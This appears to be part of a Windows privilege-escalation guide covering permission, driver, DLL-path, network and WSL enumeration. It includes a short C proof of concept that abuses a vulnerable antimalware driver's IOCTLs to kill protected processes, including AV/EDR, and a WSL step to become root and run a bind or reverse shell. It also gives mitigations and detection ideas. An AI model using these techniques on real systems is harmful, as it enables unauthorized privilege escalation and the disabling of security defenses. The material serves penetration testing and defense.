Investigating Applications, DLLs, and Networks

Check installed applications, DLL load locations, and network settings. The aim is to see what operations write access to executables or configuration files could enable.

Applications

Installed applications

Check the executables of installed applications and permissions on their folders. Writable locations also matter when investigating DLL hijacking.

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Write permissions

Find out whether you can modify the configuration or executable of a program that runs with administrator rights. These examples enumerate file and folder permissions.

accesschk.exe /accepteula
# Find weak folder permissions on each drive
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find weak file permissions on each drive
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Items that run at startup

Look for items launched with another user’s privileges and check whether their executables or configuration can be changed. See the autorun binaries guide for common locations.

Drivers

Look for suspicious or vulnerable third-party drivers.

driverquery
driverquery.exe /fo table
driverquery /SI

If a driver exposes arbitrary kernel read/write primitives (common in poorly designed IOCTL handlers), privileges can be escalated by stealing a SYSTEM token directly from kernel memory. See the procedure here:

Arbitrary Kernel R/W Token Theft

For race-condition bugs in which a vulnerable call opens an attacker-controlled Object Manager path, deliberately slowing the lookup (using maximum-length components or deep directory chains) can stretch the window from microseconds to tens of microseconds:

Kernel Race Condition Object Manager Slowdown

Registry hive memory corruption

Recent hive vulnerabilities can enable deterministic layout grooming, exploitation of writable HKLM/HKU derivatives, and conversion of metadata corruption into a kernel paged-pool overflow without a custom driver. See the full chain here:

Windows Registry Hive Exploitation

Exploiting devices without FILE_DEVICE_SECURE_OPEN

Some signed third-party drivers create device objects with strong SDDL through IoCreateDeviceSecure but forget to set FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Without this flag, the secure DACL may not apply when the device is opened through a path with extra components. Even an unprivileged user can then obtain a handle through namespace paths such as:

• \.\DeviceName\anything
• \.\amsdk\anyfile (a real example)

Once a user can open the device, privileged IOCTLs exposed by the driver can be abused for local privilege escalation and tampering. Observed examples include:

• Returning a full-access handle to any process (a SYSTEM shell through token theft / DuplicateTokenEx/CreateProcessAsUser).
• Unrestricted raw disk reads and writes (offline tampering and boot-time persistence techniques).
• Terminating any process, including Protected Process/Light (PP/PPL), to kill AV/EDR from user land through the kernel.

Minimal proof-of-concept pattern (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigations for developers

• Always set FILE_DEVICE_SECURE_OPEN when creating a device object restricted by a DACL.
• Validate the caller’s context before privileged operations. Check PP/PPL before terminating a process or returning a handle.
• Constrain IOCTLs (access masks, METHOD_*, input validation) and consider a brokered model instead of direct kernel privileges.

Detection ideas for defenders

• Monitor user-mode opens of suspicious device names (for example, \.\amsdk*) and specific IOCTL sequences that indicate abuse.
• Apply Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) and maintain custom allow/deny lists.

PATH and DLL search order

If you have write access to a folder on PATH, you may be able to hijack a DLL loaded by a process and escalate privileges.

Check permissions on every folder in PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

For ways to exploit this finding, see:

Writable Sys Path DLL Hijacking Privesc

Network

Shares

net view # List computers
net view /all /domain [domainname] # Shares in the domain
net view \\computer /ALL # List shares on a computer
net use x: \\computer\share # Mount a share locally
net share # Show current shares

hosts file

Check whether the hosts file contains hard-coded entries for known computers.

type C:\Windows\System32\drivers\etc\hosts

Network interfaces and DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open ports

Check for services restricted from external access.

netstat -ano # Open ports

Routing table

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP table

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall rules

Firewall commands are listed here (listing, creating, disabling rules, and more).

Commands for network enumeration are also listed here.

Windows Subsystem for Linux (WSL)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

The bash.exe binary is also located at C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe.

If you can obtain the root user, you can listen on any port (the first time nc.exe listens on a port, a GUI asks whether to allow nc through the firewall).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Try --default-user root to make it easier to start bash as root.

The WSL filesystem is at C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\.